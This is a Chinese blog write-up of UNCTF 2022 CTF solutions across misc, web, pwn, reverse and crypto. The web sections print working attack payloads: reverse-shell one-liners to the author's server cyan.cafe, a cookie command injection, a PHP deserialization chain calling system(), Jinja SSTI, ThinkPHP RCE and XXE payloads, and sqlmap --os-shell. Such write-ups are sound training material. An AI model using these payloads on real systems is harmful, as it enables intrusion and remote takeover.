Posts UNCTF 2022 wp
Post
Cancel

UNCTF 2022 wp

前言

什么事物都会迎来终结,CTF 也一样,这就该写 UNCTF 的 WP 了吧~ 没用的自我介绍留到最后了,那就直入正题吧~

队名:色图队 校内

篇幅比较长,先来听听歌吧,写 CTF 的时候循环听的~

https://music.163.com/playlist?id=7712328155&userid=1537501113

怎么样才能交到一个女朋友呢

用到的工具

always use the right tool for the right job

这次各种工具用的超爽,各种 Google 抄别人解法~

  • Google / Baidu
  • binwalk / Stegsolve / zsteg
  • cyberchef
  • dirsearch / sqlmap
  • Advanced Archive Password Recovery
  • upx / IDA 7.7
  • UsbKeyboardDataHacker
  • WinHex
  • VSCode / Visual Studio / Python
  • Bandizip / PeaZip
  • 记事本 / 计算器
  • Windows Terminal / Xshell
  • 一台 Windows 10 实机 / 一台 Ubuntu 实机 / 一台 kali 虚拟机 / 一台腾讯云 HK Ubuntu (反弹 shell 用)
  • 舍友 / 群友(社工那道题
  • 网易云音乐 / 焦糖瓜子

来份炸鸡先:

image-20221119013520605


Misc-简单部分

magic_word

打开发现长这样:

image-20221118060530123

把 Webdings 字体调正常发现没什么作用,复制到 VSCode 看看

image-20221118061606354

Google 零宽字符隐写得到工具,复制进去就是答案。

PS:写 WP 的时候怎么都得不到正确答案,把 docx 解压了之后拿到 document.xml 才对了

社什么社

image-20221118061823503

拿到不知道是啥编码,猜想是字符画,写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var image = new MagickImage(MagickColors.Black, 400,182);
var lines = File.ReadAllLines(@"C:\Users\cyl18\Downloads\flag.txt");
for (var y = 0; y < lines.Length; y++)
{
    var line = lines[y];
    for (var x1 = 0; x1 < line.Length; x1++)
    {
        if (line[x1] == '_')
        {
            image.GetPixels()[x1, y].SetChannel(0, 255);
            image.GetPixels()[x1, y].SetChannel(1, 255);
            image.GetPixels()[x1, y].SetChannel(2, 255);
        }

    }
}
image.Write(@"C:\Users\cyl18\Downloads\haha.png");

得到:

image-20221118061954399

猜不出来是啥。

题目说社工嘛,我就拿到几个群去问,结果发生了这样的事情:

image-20221118062134964

image-20221118062032179

image-20221118062122572

image-20221118062038578

image-20221118062055873

image-20221118062059724

image-20221118062105266

image-20221118062144861

image-20221118062148845

果真是社工啊。

找得到我吗-一血

拿到一个 docx,发现是白色字体,调成黑色也看不出什么来;

image-20221119014146998

由于 docx 本质是压缩包,所以解压;

搜索 flag 得到结果:

image-20221118062620475

syslog

拿到两个文件,一个加密的 zip,一个 syslog:

image-20221118062807641

看了好久看不出什么花样,想了一会搜索字符串password

image-20221118062842271

base64 解码后便是压缩包的密码,里面就是 flag。

In_the_Morse_Garden

拿到一个 pdf 文件。没找出啥,想了好久,找到工具 pdftotext,解码后:

image-20221118063426831

删换行符使用 VSCode 正则替换 \n

base64 解码后得到:

image-20221118063606134

猜想是 0 和 1,替换后又想到了题目的 morse,于是是摩尔斯电码,解码即可得到 flag。

百度的前几个摩尔斯电码解码工具不靠谱,解不出正确结果,cyberchef 真滴好用

zhiyin

拿到三个文件:flag.zip,lanqiu.jpg,zhiyin.png

先处理 lanqiu.jpg,看了看文件尾

image-20221118064022912

好像是倒过来了,用一行脚本:

1
File.WriteAllBytes(@"lanqiu1.jpg", File.ReadAllBytes(@"lanqiu.jpg").Reverse().ToArray());

得到:image-20221118064347780

zhiyin.png 丢进 zsteg 得到:image-20221118064450417

解码得到:_UNC7F!!!

最后是 flag.zip,打开发现文件损坏,丢进 WinHex 得到:

image-20221118064609565

把 PH 换成 PK,解压,把上面两段密码拼起来就行。

写 wp 的时候那个 Go-play 怎么试都试不出来,记不到当时尝试了多少种组合出来的了 看了看别的师傅的 wp,unc7f 是小写(因为摩尔斯电码不带大小写的),前段是 Go_p1ay

清河fan

我都不知道清河,太久不看 B 站不关注国内艺人了

image-20221118065522280

解开得到:

image-20221118065614914

zsteg 得到密码:

image-20221118070032744

wav 文件用 audacity 打开:

image-20221118070153351

易知是 sstv,一种常用的无线电调频传输图像的格式,Google 得到解码工具,解码后得到:

image-20221118070627087

解开压缩包得到:

image-20221118070725490

零宽字符隐写解码得到 flag。


来个黄焖鸡:

image-20221119013555265


Web-简单部分

ezgame

image-20221118070953989

谁会不开挂打游戏啊(

打开 Chrome Debugger,通过 onclick 找到事件处理函数,往上面翻了翻找到 useCard() 函数,在 597 行下断点:

image-20221118071957971

看到有个 s.GameVars.cardDmg,随便打了一张卡触发断点,控制台打:

1
s.GameVars.cardDmg = 6966

image-20221118072120135

完事。

我太喜欢bilibili大学啦

发现是一个 phpinfo 文件,参考这么多人做出来了,于是 Ctrl+F Flag:

image-20221118072251862

完事了捏。

签到

image-20221118072341752

看注释发现:

image-20221118072357334

登进去提示登录成功,然后就没线索了;

第二天想爆破学号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var hc = new HttpClient();
for (int i = 20200101; i < 20300101; i++)
{
var res = hc.PostAsync("http://2bb5f623-30d9-4a20-8b6a-0ad6ebad4dfa.node.yuzhian.com.cn/index.php",
    new FormUrlEncodedContent(new[]
    {
        new KeyValuePair<string, string>("username",i.ToString()),
        new KeyValuePair<string, string>("password", i.ToString()),
        new KeyValuePair<string, string>("submit","Submit"),
    })).Result.Content.ReadAsStringAsync().Result;
res = res.Substring(res.LastIndexOf(">") + 1).Trim();
if (res != "登录成功")
{
Console.Write(res);
}
}

于是得到 flag。

babyphp

image-20221118073704674

POC:

image-20221118073757941

解释:

  • a:随便 Google 一下
  • key1&key2:php 的弱比较 不是 === 的话 0e 开头的字符串会以数字进行比较,然后随便搜个字符串
  • code:八进制绕过正则匹配

其实我自己幕后试了很久的啦,从来没写过 PHP 哦~
好像我第一次做用的是反弹 shell
POC: passthru(base64_decode("YmFzaCAgLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvY3lhbi5jYWZlLzE5MDAwICAwPiYxIg=="));
base64 还特意魔改过,原来直接出来有 CAT 和加号,给内容加了点空格就没了

我太喜欢bilibili大学啦修复版

hint_1:

image-20221118074252172

base64 解码得到 admin_unctf.php,打开:

image-20221118074333884

chrome debugger network 标签页看到:

image-20221118074350455

解码是用户名和密码,登录看到:

image-20221118074453499

服务端:

1
socat TCP-LISTEN:19000 -

chrome 设置 cmd cookie 为:

1
|| bash -c "bash -i >& /dev/tcp/cyan.cafe/19000 0>&1"

反弹 shell (第一次反弹 shell 成功好爽哦)

然后在反弹的 shell 里 cat /flag~

302与深大

首先 dirsearch:

image-20221118080020539

找到个 Dockerfile,访问得到 flag 的一部分;

里面的内容:

1
2
3
4
5
6
FROM php:7.4-apache
COPY . /var/www/html
WORKDIR . /var/www/html
ENV flag "miku_micgo_qka_WEB_GOD}"
RUN /bin/bash -c 'rm -rf /var/www/html/dockerfile'
EXPOSE 80

看网页:

image-20221118080050775

试了好久~没试出方法,突然想到用 curl:

image-20221118080148077

这就是 flag 的另一部分。

给你一刀

image-20221118080221862

Google 搜到一篇 https://www.freebuf.com/column/222641.html

POC:

1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

在输出的 phpinfo 中就能找到 flag。

听说php有一个xxe

dirsearch 搜到有个 dom.php;

Google 搜索 xxe,试了很多种 POC,最后使用这篇的

1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

直接 POST 上去就行,记得请求内容类型选 XML


来个披萨:

image-20221119013630396


Pwn-简单部分

welcomeUNCTF2022

IDA 打开:

image-20221118210943130

nc 连接后直接打 UNCTF&2022 就能得到 flag。

石头剪刀布

IDA 打开:

image-20221118211106934

image-20221118211221090

发现有个 srand,里面填了个定值,于是是伪随机;

写了个小脚本

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>

int main()
{
srand(0xAu);
//printf("%d", rand());
for (int i = 0; i<100; i++) printf("%d\n",(rand()-1) % 3);
}
1
2
gcc a.c
./a.out

然后 nc 连接我手动输入进去得到答案。


来碗拉面~

image-20221119013700975


Reverse-简单部分

whereisyourkey

image-20221118220528030

image-20221118222022104

先把这堆转成了 string:

image-20221118222104423

然后写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var c = "vgpkcmhnci".ToCharArray();

for (int i = 0; i < c.Length; i++)
{
    var ch = c[i];
    if (ch == 109)
        goto end;
    if (ch <= 111)  
    {
        if (ch <= 110)
            ch = (char)((int)ch -2);
    }
    else
    {
        ch = (char)((int)ch +3);
    }
    end:
    c[i] = ch;
}
Console.Write(new string(c));

ezzzzre

拖进 IDA:

image-20221118222238989

看到好像是 upx 的东西,于是用 upx 解包:

看到:

image-20221118222353158

这是之前/之后某道题的做法 忘了是哪道题 发现好像输入跟输出没什么关系,于是想到直接修改条件跳转; 找到一篇文章 image-20221118222443502

image-20221118223328182

脚本:

1
2
3
4
5
6
7
8
var s = "HELLOCTF".ToCharArray();
for (int i = 0; i < 8; i++)
{
    var c1 = s[i];
    s[i] = (char)(int)(c1 * 2 - 69);
}

new String(s).Print();

来份意大利面~~

image-20221119013727650


Crypto-简单部分

md5-1

image-20221118223433361

拿到一堆 md5,百度找到个 md5 批量解码工具

image-20221118223527339

直接得到结果。

dddd

image-20221118223605255

猜想是摩尔斯电码,把1替换成_,把0替换成.,把/替换成 ,或者反过来。

然而我百度找到的几个摩尔斯电码解码工具都没用。。最后用的 cyberchef,拖进去就行、

caesar

image-20221118223753980

凯撒加密,写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var d = "B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY_}";
var table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
for (int i = 0; i < 64; i++)
{
    var charArray = d.ToCharArray();
    for (var i1 = 0; i1 < charArray.Length; i1++)
    {
        var ca = charArray[i1];
        var index = (table.IndexOf(ca) + i) % 64;
        if (ca != '_' && ca != '{' && ca != '}')
        {
            charArray[i1] = table[index];

        }
    }
    Console.WriteLine(new string(charArray));
}

image-20221118223927808

题目一开始得删了最后的下划线才能交,暴打出题人

Single table

image-20221118224106453

查到是 playfair 加密,解密器

image-20221118224825832

试了好久 cipher,最后发现把题目给的那堆字母里面的 PLAY 扔到最后面就是 cipher。

md5-2

打开文件代码:

image-20221118225322555

代码看到异或了一下,写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var path = @"out.txt";
var file = File.ReadAllLines(path);
var list = new List<string>();
list.Add(file.First());
file = file.Skip(1).ToArray();
foreach (var s in file1.Where(l => l.NotNullNorWhiteSpace()))
{
    var i1 = BigInteger.Parse(s, NumberStyles.HexNumber);
    var i2 = BigInteger.Parse(list.Last(), NumberStyles.HexNumber);
    list.Add((i1 ^ i2).ToString("x"));
}

foreach (var s in list)
{
    Console.WriteLine(s);
}

丢进上面的 md5 批量解码工具:

image-20221118231530094

用 VSCode 替换功能,把前面都删掉,得到 flag。

babyRSA

image-20221118231738814

Google 搜了好久,找到一篇博文,已知 m 高位

POC:

把原文的 m^3 修改为 m^6,因为这里 e6

1
2
3
4
5
6
7
8
9
10
11
def phase2(high_m, n, c):
    R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
    m = high_m + x
    M = m((m^6 - c).small_roots()[0])
    print(hex(int(M))[2:])

n = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
high_m = 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240

phase2(high_m, n, c)

需要丢到 sage 里执行。

easy_RSA

image-20221118231959290

同上面一篇博文

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p4=8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857
e=0x10001
pbits=512

kbits=pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits,beta=0.4)
# 经过以上一些函数处理后,n和p已经被转化为10进制
if roots:
    p= p4 + int(roots[0])
    print ("n",n)
    print ("p",p)
    print ("q",n/p)

也是需要丢到 sage 里执行。

算出 pq 后丢到 RsaCtfTool 里面解密就行。

ezRSA

image-20221118232119699

直接用 RsaCtfTool:

1
./RsaCtfTool.py -n 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561 -e 65537 --uncipher 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504 -q 89065756791595323358603857939783936930073695697065732353414009005162022399741 --dumpkey

发现解不出来,是乱码:

image-20221118232339496

于是 dumpkey 出来,试了试 pq 互换了一下,用源代码改了改解:

1
2
3
4
5
6
7
8
9
10
11
12
import libnum

p=89065756791595323358603857939783936930073695697065732353414009005162022399741
e=65537

n=p**4
phi_n=p**4-p**3
d=libnum.invmod(e,phi_n)
n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561

c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
r = libnum.n2s(pow(c,d,n))

得到了 flag~


来份烤鸭饭

image-20221119013752469


Web-困难部分

easy ssti

发现是 python ssti,从网上随便找了点 POC:

image-20221118232600018

image-20221118232611181

Google 搜了好久好久不用 class 的 SSTI 捏,最后找到这篇

1
2
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} 

直接 cat /flag.txt 得到image-20221118233057205

由于每次浏览器都得访问一遍返回,感觉太慢,于是写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
while (true)
{
    var hc = new HttpClient();
    var line = Console.ReadLine();
    var postAsync = hc.PostAsync("http://0192eee3-e213-4813-9d88-4dc5cde02e40.node.yuzhian.com.cn/register", new FormUrlEncodedContent(new List<KeyValuePair<string, string>>()
    {
        new KeyValuePair<string, string>("user", $"{{{{request.application.__globals__.__builtins__.__import__('os').popen('{line}').read()}}}}"),
        new KeyValuePair<string, string>("pwd", ""),
    }));
    var result = postAsync.Result.Content.ReadAsStringAsync().Result;
    result = result.Substring(result.IndexOf("你好") + 3).Split("<br>")[0];
    result.Print();
}

各种 ls cat 找文件都无果。。

突发奇想可能在环境变量里,Google 搜索 how to show linux environment variables,告诉我用env命令,于是:

image-20221118233304208

done。

babynode

看到:

image-20221118233410442

Google 搜索 node对象污染,随便找篇文章

image-20221118233628243

请求记得选 JSON 格式,不然无效

ezunseri

image-20221118233757872

第一天写的时候,现学了一个小时 PHP:

1
2
3
4
5
6
$jack=new Login();
$jack->code = '3.1415926';
$jack->key = new Login();
$jack->key->name = new Test();
$jack->key->name->test=new Exec();
$jack->key->name->test->content="system('cat /flag');";

怎么都出不来结果,第二天想是不是原型链构造错了,于是总 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class Exec
{
    public $content;

    public function execute($var){
        eval($this->content);
    }
    public function __get($name){
        echo $this->content;
    }
    public function __invoke(){
        $content = $this->execute($this->content);
    }
    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }

}

class Test
{
    public $test;
    public $key;
    public function __construct(){
        $this->test = "test123";
    }
    public function __toString(){
        $name = $this->test;
        $name();
    }
} 

class Login
{
    public $name;
    public $code = " JUST FOR FUN";
    public $key;
    public function __destruct(){

        if($this->code = '3.1415926'){
            return $this->key->name;
        }
    }
}

$jack=new Login();
$jack->code = '3.1415926';
$jack->key = new Exec();
$jack->key->content = new Test();
$jack->key->content->test=new Exec();
$jack->key->content->test->content='system(\'bash  -c "bash -i >& /dev/tcp/cyan.cafe/19000  0>&1"\');';

echo (serialize($jack));
$r = serialize($jack);
unserialize($r);

序列化后把 Exec 后面的 1 改成 2 来绕过 __unwake

用的 反弹 shell 哈哈,学会了就一直想用

另外 php eval 的时候最后必须得加分号,这个试了好久才试出来(

需要解释的话随便百度 PHP 反序列化漏洞和绕过 __wakeup 都有了

最后在反弹的 shell 里 cat /flag.

随便注

image-20221118234418609

直接 query 传 id 发现:

image-20221118234711275

第一天用 sqlmap 随便跑了跑,发现出不来;

第二天又加大力度尝试 --level=5

image-20221118235101761

发现三种注入方式

dump 到 ctftraining table:

image-20221118235143414

image-20221118234838778

正当我快放弃在慢慢 dump mysql table 时,想到题目的随便注Flag is in the database but not here,猜想能不能通过 sql 拿到 shell?

Google 了一下还真能。使用--os-shell参数

image-20221118235333737

cat /flag

ez2048

image-20221118235419944

打开 chrome debugger 发现被断点,右键设置不在此处断点:

image-20221118235445069

image-20221118235510168

看到 checkInvited 的代码,写了一段脚本:

看到源码 想先把 i 和 i-1 的值算出来
也就是先从奇数项开始
偶数项 由于 js [-1] 得到的是 undefined 也就是 0,所以 i == 1 特殊处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BigInteger b = (BigInteger)68 + ((BigInteger)51 << (int)1 * 8) + ((BigInteger)15 << (int)2 * 8) + ((BigInteger)80 << (int)3 * 8) + ((BigInteger)0x0e5d << (int)4 * 8)
               + ((BigInteger)0x323a << (int)6 * 8)
               + ((BigInteger)0x3058 << (int)8 * 8)
               + ((BigInteger)0x1a2a << (int)10 * 8)
               + (((BigInteger)0x0512160d) << (int)12 * 8)
               + (((BigInteger)BinaryPrimitives.ReverseEndianness(0x02560002)) << (int)16 * 8)
               + (((BigInteger)BinaryPrimitives.ReverseEndianness(0x130000)) << (int)20 * 8);


var a1 = new byte[24];
for (int i = 0; i < 24; i++)
{
    if ((i % 2) != 0)
    {
        byte c1 = (byte)((b >> (i * 8)) & (BigInteger)0xff);
        byte c2 = 0;
        if (i == 1)
        {
            c2 = (byte)((b >> ((i - 2) * 8)) & (BigInteger)0xff);
            a1[i] = (byte)(c1);
        }
        else
        {
            a1[i] = (byte)(c1 ^ a1[i - 2]);
        }
    }
}
a1.Print();

这是第一步的脚本;

第二步算剩下的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var sg =
    "[\r\n  \"\\u0000\",\r\n  \"3\",\r\n  \"\\u0000\",\r\n  \"c\",\r\n  \"\\u0000\",\r\n  \"m\",\r\n  \"\\u0000\",\r\n  \"_\",\r\n  \"\\u0000\",\r\n  \"o\",\r\n  \"\\u0000\",\r\n  \"u\",\r\n  \"\\u0000\",\r\n  \"c\",\r\n  \"\\u0000\",\r\n  \"f\",\r\n  \"\\u0000\",\r\n  \"0\",\r\n  \"\\u0000\",\r\n  \"2\",\r\n  \"\\u0000\",\r\n  \"!\",\r\n  \"\\u0000\",\r\n  \"!\"\r\n]".JsonDeserialize<char[]>();
BigInteger b = (BigInteger)68 + ((BigInteger)51 << (int)1 * 8) + ((BigInteger)15 << (int)2 * 8) + ((BigInteger)80 << (int)3 * 8) + ((BigInteger)0x0e5d << (int)4 * 8)
               + ((BigInteger)0x323a << (int)6 * 8)
               + ((BigInteger)0x3058 << (int)8 * 8)
               + ((BigInteger)0x1a2a << (int)10 * 8)
               + (((BigInteger)0x0512160d) << (int)12 * 8)
               + (((BigInteger)BinaryPrimitives.ReverseEndianness(0x02560002)) << (int)16 * 8)
               + (((BigInteger)BinaryPrimitives.ReverseEndianness(0x130000)) << (int)20 * 8);

for (int i = 0; i < 24; i++)
 {
     if ((i % 2) == 0)
     {
         byte c1 = (byte)((b >> (i * 8)) & (BigInteger)0xff);
         byte c2 = 0;
         sg[i] = (char)(c1 ^ sg[i+1]);
     }
 }
sg.Select(x => (char)x).ToJsonString().Print();
new String(sg).Print();

完蛋了 写 wp 的时候叫我看五天前写的脚本看不懂了怎么办((

image-20221119000501875

得到邀请码,然后就该玩 2048 了;

众所周知玩游戏不开挂是不道德的,于是在 337 行打上断点:

image-20221119000603774

控制台打 tile.value = 1024

image-20221119000638471

完事。

image-20221119000652372

至此 web 题画上完美句号。


再来份黄焖鸡!

image-20221119014333565


Reverse-困难部分

ezast

真的挺 ez 的,就是读起来太麻烦;

AST,抽象语法树,我找到个工具 https://github.com/duaraghav8/soltar,但是没去用;

打开那个文件,先用正则替换把碍眼的 start 和 end 删掉:

image-20221119001943410

然后 AST 文件大概长这样:

image-20221119002014107

在班会课上慢慢一行一行读(有点英语+编程水平就能读懂这个 JSON 吧),尝试翻译代码:

image-20221119002043255

于是写了个脚本来解码:

1
2
3
4
foreach (var c in "OTYN\\a[inE+iEl.hcEo)ivo+g".ToCharArray())
{
    Console.Write((char)(c ^ 26));
}

完工~


来个韭菜水饺

image-20221119013819600


Crypto-困难部分

Multi table

image-20221119002302477

尝试直接写代码逆向解码:

image-20221119002430381

但是怎么试都不行,去问出题人:

image-20221119002344386

image-20221119002354878

于是:

keys 是用明文攻击试出来的,明文是 UNCTF 嘛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
var mb = new[]
 {
     'J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B'
 }.ToList();
var mb2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray().ToList();
//var mbs = new List<char[]>();
var mbs = new char[26][];
for (int i = 0; i < 26; i++)
{
    mbs[i] = (mb2.Skip(i).Take(26 - i).Concat(mb2.Take(i)).ToArray());
}

//var keys = new int[4] {20, 8, 0, 3};
var keys = new int[4] {9, 15, 23, 16};

var x111 = 0;
var str = "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}";

foreach (var ca in str)
{
    if (!char.IsLetter(ca))
    {
        Console.Write(ca);
    }
    else
    {
        var table1 = mbs[keys[(x111) % 4]];
        x111++;
        for (int i = 0; i < 26; i++)
        {
            if (table1[i] == ca)
            {
                Console.Write(mb[i]);

            }
        }
        // 明文攻击 key 的代码,UNCTF相应在上方 str 调用 .Skip(0) 1 2 3 
        // for (int i = 0; i < 26; i++)
        // {
        //     var table1 = mbs[i];
        //     if ((mb[table1.ToList().FindIndex(x => x == ca)]) == 'U')
        //     {
        //         Console.WriteLine(i);
        //     }
        // }
    }
}

ezxor

image-20221119002605523

Hint: 你知道多次一密吗?

Google 多次一密,搜了半个多小时,最后使用关键词many time pad attack github,搜出来个脚本,用了用不太行:

image-20221119003016755

找到另一个脚本

image-20221119003104096

填词游戏.. 先随便填了几个

image-20221119003136803

填不出来,问问 GitHub Copilot:

image-20221119003212148

哦,是 darkness

image-20221119003254711

最后填完,得到 key,16 进制解码:

image-20221119003610298

Today_is_Thursday_V_me_50

【关于本科生自愿返乡的相关通知】因天津疫情局势紧张,住校生管理难度加大,学生健康安全受到严重影响,学校再三斟酌,现允许20,21,22本科生返乡进行线上课程。时间安排:自愿返乡的同学需在今日晚22点前v我50进行预约。

image-20221119003733299

非常明显,TOPIC 就是文件名 Today_is_Thursday_V_me_50,都是 25 位;

也是试了好久都试不出, pycrypto 这个库也挺老了,Windows 老是装不上;

主要思路是把

x = encrypt_2(encrypt_1(flag,name),key1_num)

换为

encrypt_1(encrypt_2(flag, key1_num), name)

因为 xor 是对称的,加密就是解密;

最后的 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor

def xor(a, b):
    return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])

flag = b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P' 
name = "unctf"
key1 = "Today_is_Thursday_V_me_50"
key1_num = 530007872419584476649862008487908643412379763189507583587632

def encrypt_1(message,name):
    res = message
    guess=[i for i in itertools.permutations(name, 5)]
    for i in range(4):
        what = guess.pop(50)
        name = ''.join(j for j in what)
        mask = strxor(5*name.encode(),key1.encode())
        res = strxor(mask,message)
    return res

def encrypt_2(message,num):
    random.seed(num)
    res_2 = b''
    for i in message:
        temp_num = random.randint(1,128)
        print(i)
        res_2 += long_to_bytes(temp_num ^ i)
    return res_2

if __name__ == '__main__':
    x = encrypt_2(encrypt_1(flag,name),key1_num)
    print(x)

print(encrypt_1(encrypt_2(flag, key1_num), name))

先用工具把 key1 转成了数字,因为好像哪里有点问题

另外给某些地方加了点 .encode() 其实做了几遍都没出 不知道哪里 encode 有问题,最后才出


来碗~泡面!

image-20221119013852869


Misc-困难部分

剥茧抽丝-一血

image-20221119004404480

第一个压缩包的密码就是注释,解压得到:

image-20221119004714200

1.txt 打开发现是零宽,删去零宽后发现文件大小与 flag.zip 里的 2.txt 大小相同,于是使用 APCHPR 明文攻击得到最后一个文件:

image-20221119011210336

后面搞忘了,五天前写的了,想起来补上(一血的题都忘了)

想起来了,去零宽字符隐写,把那堆字丢进去,用下面的 binary 功能,下载 hidden data,得到的就是解压密码。

MY PICTURE

打开发现一个没有扩展名的文件,看了看是 zip,打开:

image-20221119011316660

image-20221119011349161

dat 丢到 cyberchef,使用 intensive magic 功能:

image-20221119011434024

看到有个像压缩包的东西,保存;

里面是一个 encode.py

image-20221119011501694

写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var image2 = new MagickImage(MagickColors.Black, 787, 1200);
var image3 = new MagickImage(@"flag.png");
for (int i = 0; i < 787; i++)
{
    for (int j = 0; j < 1200; j++)
    {
        var pixel = image3.GetPixels()[(i * 787 + j) / 1200, (i * 787 + j) % 1200];
        var r11 = pixel.GetChannel(2);
        var g11 = pixel.GetChannel(1);
        var b11 = pixel.GetChannel(0);
        b11 = (byte)(b11 ^ r11);
        g11 = (byte)(g11 ^ b11);
        r11 = (byte)(r11 ^ g11);
        var pixel1 = image2.GetPixels()[i,j];
        pixel1.SetChannel(0, r11);
        pixel1.SetChannel(1, g11);
        pixel1.SetChannel(2, b11);
    }
}
image2.Write(@"1.png");

得到一张色图:

image-20221119011622693

CatchJerry-一血

拿到看到是个 pcap 包,看了看可能是鼠标键盘流量,使用工具,试了试不管用,换了个工具

image-20221119011835237

前面一堆乱码,后面一个 andbest,解不出来了。

第二天猜想可能有鼠标流量,使用 UNCTF2020WP 的鼠标脚本: https://as1def.github.io/2020/11/16/UNCTF2020%E5%85%AC%E5%BC%80%E8%B5%9BWP/

得到:

image-20221119012034478

plot 运行的时候有点问题,自己写了个画图脚本:

1
2
3
4
5
6
7
8
9
10
11
12
var image22 = new MagickImage(MagickColors.Black, 4000, 4000);
var file = File.ReadAllLines(@"result.txt");
foreach (var s1 in file)
{
    var sp = s1.Split(' ');
    var x1 = sp[0].ToInt() / 2 + 2000;
    var y = sp[1].ToInt() / 10 + 2000;
    image22.GetPixels()[x1, y].SetChannel(0, 255);
    image22.GetPixels()[x1, y].SetChannel(1, 255);
    image22.GetPixels()[x1, y].SetChannel(2, 255);
}
image22.Write(@"haha1.png");

得到:

image-20221119012202109

和上面的 andbest 拼起来就是 flag 了~


没活了,来点色图

image-20221119014026398


没写出来的题

poppop

写了个 pop 链,感觉跟 easyseri 差不多,但是出不来结果

easy_rce

这怎么把什么都过滤了呀,根本想不出

世界和平

sqlmap 出不来

sqlsql

这题啥时候上的附件,是结束之后吗(

快乐三消

还特意去写了个 selenium 脚本打,打完了也没结果

image-20221119014706440

dirsearch 搜到 admin 和 .git,git 恢复出来也没用,还看到个 sql 日志,没思路了


再来张色图

image-


nanoNumble

这个题真的写的我很开心,花了四个小时写出代码,后面还写了树优化,但是还是没出…可以在这里看代码:https://github.com/Cyl18/NumberCracker/blob/master/NumberCracker/SolverCore.cs

1 输出的是 rick roll(想打人)

2 输出的是 flag 的随机打乱部分

image-20221119015315370

3 就出不来了,算法太垃圾,没有办法保证一定 5 步内出结果

image-20221119015304216

无用的悲情个人介绍

这是我第三次参加类 CTF 的东西了吧,说实话就像打解谜游戏一样好玩~

第一次 Mirai 解谜 https://zhuanlan.zhihu.com/p/166448741

